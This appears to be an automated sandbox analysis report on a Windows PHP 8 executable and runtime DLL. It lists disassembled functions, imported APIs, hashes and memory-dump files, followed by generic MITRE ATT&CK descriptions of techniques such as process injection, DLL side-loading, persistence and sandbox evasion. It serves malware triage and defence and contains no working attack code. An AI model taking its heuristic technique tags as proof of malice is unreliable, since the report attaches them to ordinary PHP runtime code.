Opcode ID: c5fe6a64716bed694cbfe46c271dfdb9c936309bae4927b79dc7fdd8c38b3652
Instruction ID: a033a59ea7c203b8e5d9bd63754767f398d64dbc0a16268c7a633b37a0199d44
Opcode Fuzzy Hash: c5fe6a64716bed694cbfe46c271dfdb9c936309bae4927b79dc7fdd8c38b3652
Instruction Fuzzy Hash: B5311676618F89C5EB50BF19E4903AAB3B4FB89B94F805232DA4D437A5CF2CD0688710

Function 00007FF7498C44D0 Relevance: 6.1, APIs: 4, Instructions: 58COMMON

Download Yara Rule

APIs

_emalloc@@8.PHP8TS ref: 00007FF7498C4512
zend_str_tolower_copy@@24.PHP8TS ref: 00007FF7498C454A
zend_hash_str_find@@24.PHP8TS ref: 00007FF7498C455D
_efree@@8.PHP8TS ref: 00007FF7498C457B

Memory Dump Source

Source File: 00000018.00000002.2894832736.00007FF7498C1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF7498C0000, based on PE: true

Associated: 00000018.00000002.2894785645.00007FF7498C0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000018.00000002.2894913708.00007FF7498CD000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000018.00000002.2895019683.00007FF7498E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000018.00000002.2895069671.00007FF7498E4000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_7ff7498c0000_php.jbxd

Similarity

API ID: _efree@@8_emalloc@@8zend_hash_str_find@@24zend_str_tolower_copy@@24
String ID:
API String ID: 2076930545-0
Opcode ID: 353dcdba92b2c6342b4c03f9b13c1d40b008483dd01b58404e1354c18f38e80f
Instruction ID: 5fcaeaf217e0e46870cf75207fbdd8896094526c769536f0423d873807714e0e
Opcode Fuzzy Hash: 353dcdba92b2c6342b4c03f9b13c1d40b008483dd01b58404e1354c18f38e80f
Instruction Fuzzy Hash: 67213322A19B55D5DB10BF2598402A96368FB48BE4FC44631EE2D07BD9DF3CE1A68310

Function 00007FF7498C74C0 Relevance: 6.1, APIs: 4, Instructions: 57networkCOMMON

Download Yara Rule

APIs

send.WS2_32 ref: 00007FF7498C7506
WSAGetLastError.WS2_32 ref: 00007FF7498C7510
php_poll2.PHP8TS ref: 00007FF7498C753E
php_handle_aborted_connection.PHP8TS ref: 00007FF7498C7550

Memory Dump Source

Source File: 00000018.00000002.2894832736.00007FF7498C1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF7498C0000, based on PE: true

Associated: 00000018.00000002.2894785645.00007FF7498C0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000018.00000002.2894913708.00007FF7498CD000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000018.00000002.2895019683.00007FF7498E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000018.00000002.2895069671.00007FF7498E4000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_7ff7498c0000_php.jbxd

Similarity

API ID: ErrorLastphp_handle_aborted_connectionphp_poll2send
String ID:
API String ID: 1866779081-0
Opcode ID: abf07add748196694ae40f2dc824ed1eb9ea25b80552d8a1dfece6eb73b68d12
Instruction ID: b91e5fc9aad3f32ed6dc8720714b58261a4b11d9a4b25b96c399814eccb0fbe0
Opcode Fuzzy Hash: abf07add748196694ae40f2dc824ed1eb9ea25b80552d8a1dfece6eb73b68d12
Instruction Fuzzy Hash: 5411D322B1CB81C5FB607F2AE84462AE278FB89B94F844034EE4D47B44DF3CE4A59710

Function 00007FF7498C6FB0 Relevance: 6.1, APIs: 4, Instructions: 56COMMON

Download Yara Rule

APIs

__zend_realloc.PHP8TS(?,0000000100000001,0000000100000001,00007FF7498C6EDF,?,?,?,00007FF7498CB8EE), ref: 00007FF7498C6FEC
__zend_malloc.PHP8TS(?,0000000100000001,0000000100000001,00007FF7498C6EDF,?,?,?,00007FF7498CB8EE), ref: 00007FF7498C7012
memmove.VCRUNTIME140(?,?,?,00007FF7498CB8EE), ref: 00007FF7498C7043
memmove.VCRUNTIME140(?,?,?,00007FF7498CB8EE), ref: 00007FF7498C705D

Memory Dump Source

Source File: 00000018.00000002.2894832736.00007FF7498C1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF7498C0000, based on PE: true

Associated: 00000018.00000002.2894785645.00007FF7498C0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000018.00000002.2894913708.00007FF7498CD000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000018.00000002.2895019683.00007FF7498E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000018.00000002.2895069671.00007FF7498E4000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_7ff7498c0000_php.jbxd

Similarity

API ID: memmove$__zend_malloc__zend_realloc
String ID:
API String ID: 195525502-0
Opcode ID: e6e82a00cea3ee3d0e073c8dbcb9d34bc24b8eef3bd3751d0547fbe4a8c80dd7
Instruction ID: dc9a3605253d11e52cbab220b0f8fb223832501f10e91fac17e7ac347a5ea7a6
Opcode Fuzzy Hash: e6e82a00cea3ee3d0e073c8dbcb9d34bc24b8eef3bd3751d0547fbe4a8c80dd7
Instruction Fuzzy Hash: 0E219872608B81C2DB00EF19E400368BBB4F785BB4F948226DF68077C0DB78D0A6C350

Function 00007FFE1A5303BC Relevance: 6.0, APIs: 4, Instructions: 39timethreadCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 00007FFE1A5303E8
GetCurrentThreadId.KERNEL32 ref: 00007FFE1A5303F6
GetCurrentProcessId.KERNEL32 ref: 00007FFE1A530402
QueryPerformanceCounter.KERNEL32 ref: 00007FFE1A530412

Memory Dump Source

Source File: 00000018.00000002.2897264735.00007FFE1A521000.00000020.00000001.01000000.00000011.sdmp, Offset: 00007FFE1A520000, based on PE: true

Associated: 00000018.00000002.2897224013.00007FFE1A520000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000018.00000002.2897325854.00007FFE1A531000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000018.00000002.2897368952.00007FFE1A536000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000018.00000002.2897411710.00007FFE1A537000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_7ffe1a520000_php.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: a30b212504c3ea6b2c4515981d1649eccb2ffc9a0f80d390e0ca8da10d082644
Instruction ID: f8f71e34a008fe91b8d0bc49efc716ebb96a05d46045c6108992c0fbd44db8b3
Opcode Fuzzy Hash: a30b212504c3ea6b2c4515981d1649eccb2ffc9a0f80d390e0ca8da10d082644
Instruction Fuzzy Hash: 24115122B18F018AEB00CF71E8952B933B4FB59B68F040D76DA5D42764DF7CD1588340

Function 00007FF7498C1380 Relevance: 6.0, APIs: 4, Instructions: 33fileCOMMON

Download Yara Rule

APIs

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 00007FF7498C13A7
fwrite.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 00007FF7498C13C5
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 00007FF7498C13D6
ferror.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 00007FF7498C13DF

Memory Dump Source

Source File: 00000018.00000002.2894832736.00007FF7498C1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF7498C0000, based on PE: true

Associated: 00000018.00000002.2894785645.00007FF7498C0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000018.00000002.2894913708.00007FF7498CD000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000018.00000002.2895019683.00007FF7498E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000018.00000002.2895069671.00007FF7498E4000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_7ff7498c0000_php.jbxd

Similarity

API ID: __acrt_iob_func$ferrorfwrite
String ID:
API String ID: 822410731-0
Opcode ID: aa0c46da18042519479e706efeca4a93dcabaf0d3885e61b06c3aa308e00c2c0
Instruction ID: 1d3d9ce62ab8976918e954b80882502f3d2465eabcfb3884e1f94b6b1144cf27
Opcode Fuzzy Hash: aa0c46da18042519479e706efeca4a93dcabaf0d3885e61b06c3aa308e00c2c0
Instruction Fuzzy Hash: 57F04420B1D742C1EF15BF6AE954675E274EF48B84F884138CE0E07764EF2DE5948320

Function 00007FFE1A5249B0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 116COMMON

Download Yara Rule

APIs

Part of subcall function 00007FFE1A5269C0: abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,00007FFE1A5225CE), ref: 00007FFE1A5269CE

_CreateFrameInfo.LIBVCRUNTIME ref: 00007FFE1A524A86
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FFE1A524AE4

Strings

csm, xrefs: 00007FFE1A524B8A

Memory Dump Source

Source File: 00000018.00000002.2897264735.00007FFE1A521000.00000020.00000001.01000000.00000011.sdmp, Offset: 00007FFE1A520000, based on PE: true

Associated: 00000018.00000002.2897224013.00007FFE1A520000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000018.00000002.2897325854.00007FFE1A531000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000018.00000002.2897368952.00007FFE1A536000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000018.00000002.2897411710.00007FFE1A537000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_7ffe1a520000_php.jbxd

Similarity

API ID: abort$CreateFrameInfo
String ID: csm
API String ID: 2697087660-1018135373
Opcode ID: 5e4671b1cbff3658d511699c3cf653202505efa909c7ec854f7fa1af4338784c
Instruction ID: b39c9007b9bd38cecbcb226a3a5adca4bc908ac2632dd901eca98ece41b37c07
Opcode Fuzzy Hash: 5e4671b1cbff3658d511699c3cf653202505efa909c7ec854f7fa1af4338784c
Instruction Fuzzy Hash: C151187771CA81C6D620AB56A04027E77B5FB8ABA0F1045B6DB8D07B66DF3CE465CB00

Function 00007FFE1A529F64 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 68COMMONLIBRARYCODE

Download Yara Rule

APIs

DName::operator+.LIBVCRUNTIME ref: 00007FFE1A52A062

Strings

void, xrefs: 00007FFE1A529FC4
void , xrefs: 00007FFE1A529FEC

Memory Dump Source

Source File: 00000018.00000002.2897264735.00007FFE1A521000.00000020.00000001.01000000.00000011.sdmp, Offset: 00007FFE1A520000, based on PE: true

Associated: 00000018.00000002.2897224013.00007FFE1A520000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000018.00000002.2897325854.00007FFE1A531000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000018.00000002.2897368952.00007FFE1A536000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000018.00000002.2897411710.00007FFE1A537000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_7ffe1a520000_php.jbxd

Similarity

API ID: Name::operator+
String ID: void$void
API String ID: 2943138195-3746155364
Opcode ID: 8ff03fe2419e3974eeb67dfb792afb4a9b9cae7aa7e23c2e8fbe84b60f38a0b9
Instruction ID: 74bea70423ec8fc246bbffd6ed5a28223cce749c91b289e95d8535d3c7701d01
Opcode Fuzzy Hash: 8ff03fe2419e3974eeb67dfb792afb4a9b9cae7aa7e23c2e8fbe84b60f38a0b9
Instruction Fuzzy Hash: FA310462F18E55D8FB11CBA6E8410FC37B1BB49B58F4401B7EA4E62B69DF38A144C750

Function 00007FFE1A5262EF Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 45COMMON

Download Yara Rule

APIs

Part of subcall function 00007FFE1A526690: RtlPcToFileHeader.KERNEL32 ref: 00007FFE1A5266D4
Part of subcall function 00007FFE1A526690: RaiseException.KERNEL32 ref: 00007FFE1A52671A

RtlPcToFileHeader.KERNEL32 ref: 00007FFE1A52635F

Strings

Bad dynamic_cast!, xrefs: 00007FFE1A526312
Access violation - no RTTI data!, xrefs: 00007FFE1A5262EF

Memory Dump Source

Source File: 00000018.00000002.2897264735.00007FFE1A521000.00000020.00000001.01000000.00000011.sdmp, Offset: 00007FFE1A520000, based on PE: true

Associated: 00000018.00000002.2897224013.00007FFE1A520000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000018.00000002.2897325854.00007FFE1A531000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000018.00000002.2897368952.00007FFE1A536000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000018.00000002.2897411710.00007FFE1A537000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_7ffe1a520000_php.jbxd

Similarity

API ID: FileHeader$ExceptionRaise
String ID: Access violation - no RTTI data!$Bad dynamic_cast!
API String ID: 3685223789-3176238549
Opcode ID: 1336bfc7bd71620dddb987db4d102eb14b6a352524fa12ffdcc3c0e48972cdbe
Instruction ID: 36c28e8f9d857a6067b87c2fda87108101fc1f0f807b8b6acd92d1f2eb99aa5c
Opcode Fuzzy Hash: 1336bfc7bd71620dddb987db4d102eb14b6a352524fa12ffdcc3c0e48972cdbe
Instruction Fuzzy Hash: E9018C65B2EE86D1EE008B92E4901B82322FF92FA4F4050F3E50E07A75EF6CE404C710

Function 00007FFE1A526690 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 42COMMON

Download Yara Rule

APIs

RtlPcToFileHeader.KERNEL32 ref: 00007FFE1A5266D4
RaiseException.KERNEL32 ref: 00007FFE1A52671A

Strings

csm, xrefs: 00007FFE1A526707

Memory Dump Source

Source File: 00000018.00000002.2897264735.00007FFE1A521000.00000020.00000001.01000000.00000011.sdmp, Offset: 00007FFE1A520000, based on PE: true

Associated: 00000018.00000002.2897224013.00007FFE1A520000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000018.00000002.2897325854.00007FFE1A531000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000018.00000002.2897368952.00007FFE1A536000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000018.00000002.2897411710.00007FFE1A537000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_7ffe1a520000_php.jbxd

Similarity

API ID: ExceptionFileHeaderRaise
String ID: csm
API String ID: 2573137834-1018135373
Opcode ID: 51a2530866bc70b3fa6e7487cc130fe87b9602d28e5a22477376607ad08b6180
Instruction ID: f88b696069d30b6bbbf229753ac897d9147f220a9ad34bab49dfdf297320c23e
Opcode Fuzzy Hash: 51a2530866bc70b3fa6e7487cc130fe87b9602d28e5a22477376607ad08b6180
Instruction Fuzzy Hash: 7F113D3260CF8182EB108F26E44026977A5FB89F94F1842B2DE8D07B78DF3DD5558740

Function 00007FF7498C8590 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 29COMMON

Download Yara Rule

APIs

php_request_shutdown.PHP8TS ref: 00007FF7498C85A2

Part of subcall function 00007FF7498C6030: zend_vspprintf.PHP8TS ref: 00007FF7498C6066
Part of subcall function 00007FF7498C6030: _efree@@8.PHP8TS ref: 00007FF7498C6088

zend_hash_index_del@@16.PHP8TS ref: 00007FF7498C85CC

Strings

%s Closing, xrefs: 00007FF7498C85AC

Memory Dump Source

Source File: 00000018.00000002.2894832736.00007FF7498C1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF7498C0000, based on PE: true

Associated: 00000018.00000002.2894785645.00007FF7498C0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000018.00000002.2894913708.00007FF7498CD000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000018.00000002.2895019683.00007FF7498E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000018.00000002.2895069671.00007FF7498E4000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_7ff7498c0000_php.jbxd

Similarity

API ID: _efree@@8php_request_shutdownzend_hash_index_del@@16zend_vspprintf
String ID: %s Closing
API String ID: 3584861783-2100637938
Opcode ID: 438469a9f5921bcf9cf2a4a36d90594e9b36b1f7039c76b63023dd852b9db80d
Instruction ID: 8a6570dbb5cbe498b929f930de82e83ee78adcfd68b375d48d5e32bf8a8aec6d
Opcode Fuzzy Hash: 438469a9f5921bcf9cf2a4a36d90594e9b36b1f7039c76b63023dd852b9db80d
Instruction Fuzzy Hash: A3F0FB66618F86C1DB04AF1AE490269A335F788BC4F949136CE0E1B725CE39D0A5C310

Function 00007FF7498C2832 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 23COMMON

Download Yara Rule

APIs

php_lint_script.PHP8TS ref: 00007FF7498C2836

Strings

Errors parsing %s, xrefs: 00007FF7498C2881
No syntax errors detected in %s, xrefs: 00007FF7498C2851

Memory Dump Source

Source File: 00000018.00000002.2894832736.00007FF7498C1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF7498C0000, based on PE: true

Associated: 00000018.00000002.2894785645.00007FF7498C0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000018.00000002.2894913708.00007FF7498CD000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000018.00000002.2895019683.00007FF7498E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000018.00000002.2895069671.00007FF7498E4000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_7ff7498c0000_php.jbxd

Similarity

API ID: php_lint_script
String ID: Errors parsing %s$No syntax errors detected in %s
API String ID: 692691059-3881924717
Opcode ID: 7ef8607b5eaa21f7350985fc350835cc1cdc1009de95a6b8fac62e4bcfd6e08f
Instruction ID: c25ec95c552b2a0b2b19d2fee85005055f641e17b90407d23681236e7f9bc3da
Opcode Fuzzy Hash: 7ef8607b5eaa21f7350985fc350835cc1cdc1009de95a6b8fac62e4bcfd6e08f
Instruction Fuzzy Hash: 7001722960DB06C5EB10FF1AE894178A378FB48B84F804036DA4E43760DF6CE019E710

Function 00007FFE1A52EDF0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 22COMMON

Download Yara Rule

APIs

Part of subcall function 00007FFE1A52F040: _IsNonwritableInCurrentImage.LIBCMT ref: 00007FFE1A52F100
Part of subcall function 00007FFE1A52F040: RtlUnwindEx.KERNEL32(?,?,?,?,?,?,?,00007FFE1A52EE05), ref: 00007FFE1A52F14F

Part of subcall function 00007FFE1A5269C0: abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,00007FFE1A5225CE), ref: 00007FFE1A5269CE

terminate.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FFE1A52EE2A

Strings

csm, xrefs: 00007FFE1A52EE0B
f, xrefs: 00007FFE1A52EE05

Memory Dump Source

Source File: 00000018.00000002.2897264735.00007FFE1A521000.00000020.00000001.01000000.00000011.sdmp, Offset: 00007FFE1A520000, based on PE: true

Associated: 00000018.00000002.2897224013.00007FFE1A520000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000018.00000002.2897325854.00007FFE1A531000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000018.00000002.2897368952.00007FFE1A536000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000018.00000002.2897411710.00007FFE1A537000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_7ffe1a520000_php.jbxd

Similarity

API ID: CurrentImageNonwritableUnwindabortterminate
String ID: csm$f
API String ID: 4189928240-629598281
Opcode ID: fb015faef4bf75acf24bdce02b26b27ea635390a237ea967a8c643fc2c3390a7
Instruction ID: 125677b5e8d48a5aa6203ca8557bf7b8eb441621ae719e5587136ffb325e6b31
Opcode Fuzzy Hash: fb015faef4bf75acf24bdce02b26b27ea635390a237ea967a8c643fc2c3390a7
Instruction Fuzzy Hash: E7E06C71E0CB41C1F7145BA2B14017D2B65EF46F74F1440F7DA8806656CF3DD8A44611

Function 00007FF7498C1840 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 20COMMON

Download Yara Rule

APIs

__zend_malloc.PHP8TS ref: 00007FF7498C184E
zend_hash_str_update@@32.PHP8TS ref: 00007FF7498C1899

Strings

display_errors, xrefs: 00007FF7498C185F

Memory Dump Source

Source File: 00000018.00000002.2894832736.00007FF7498C1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF7498C0000, based on PE: true

Associated: 00000018.00000002.2894785645.00007FF7498C0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000018.00000002.2894913708.00007FF7498CD000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000018.00000002.2895019683.00007FF7498E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000018.00000002.2895069671.00007FF7498E4000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_7ff7498c0000_php.jbxd

Similarity

API ID: __zend_malloczend_hash_str_update@@32
String ID: display_errors
API String ID: 122064108-193476854
Opcode ID: 8a9fa1dd27072ab7ed04f1d43385623eca899bc9bf9346a2a3558b2d3bcba165
Instruction ID: bfabcc0d8b104a3fa8ac8cf0c380b7962d714d1f5687cc6e8a6dbda0ac59af28
Opcode Fuzzy Hash: 8a9fa1dd27072ab7ed04f1d43385623eca899bc9bf9346a2a3558b2d3bcba165
Instruction Fuzzy Hash: E9F03972518740C6E714AF10E408359FBB0FB88B48F848024DA8D0B3A1CFBEC2E9CB50

Function 00007FFE1A5269DC Relevance: 5.1, APIs: 4, Instructions: 53COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,?,00007FFE1A526859,?,?,?,?,00007FFE1A52FF42,?,?,?,?,?), ref: 00007FFE1A5269FB
SetLastError.KERNEL32(?,?,?,00007FFE1A526859,?,?,?,?,00007FFE1A52FF42,?,?,?,?,?), ref: 00007FFE1A526A84

Memory Dump Source

Source File: 00000018.00000002.2897264735.00007FFE1A521000.00000020.00000001.01000000.00000011.sdmp, Offset: 00007FFE1A520000, based on PE: true

Associated: 00000018.00000002.2897224013.00007FFE1A520000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000018.00000002.2897325854.00007FFE1A531000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000018.00000002.2897368952.00007FFE1A536000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000018.00000002.2897411710.00007FFE1A537000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_7ffe1a520000_php.jbxd

Similarity

API ID: ErrorLast
String ID:
API String ID: 1452528299-0
Opcode ID: bbe9895d534b658101cce7e74ca5bd95b80ee12bf15f37732e53d0ee5c009e2b
Instruction ID: 6a3978a519f4cc085dd91118dc0e1b36f211bb4e42773ac87f7c03dc1edbab36
Opcode Fuzzy Hash: bbe9895d534b658101cce7e74ca5bd95b80ee12bf15f37732e53d0ee5c009e2b
Instruction Fuzzy Hash: 6211F420F0DA46C2FA545767A9441352262EF8AFF0F1446F7D95E07BF5DF2CB8419620

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata, File: File Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
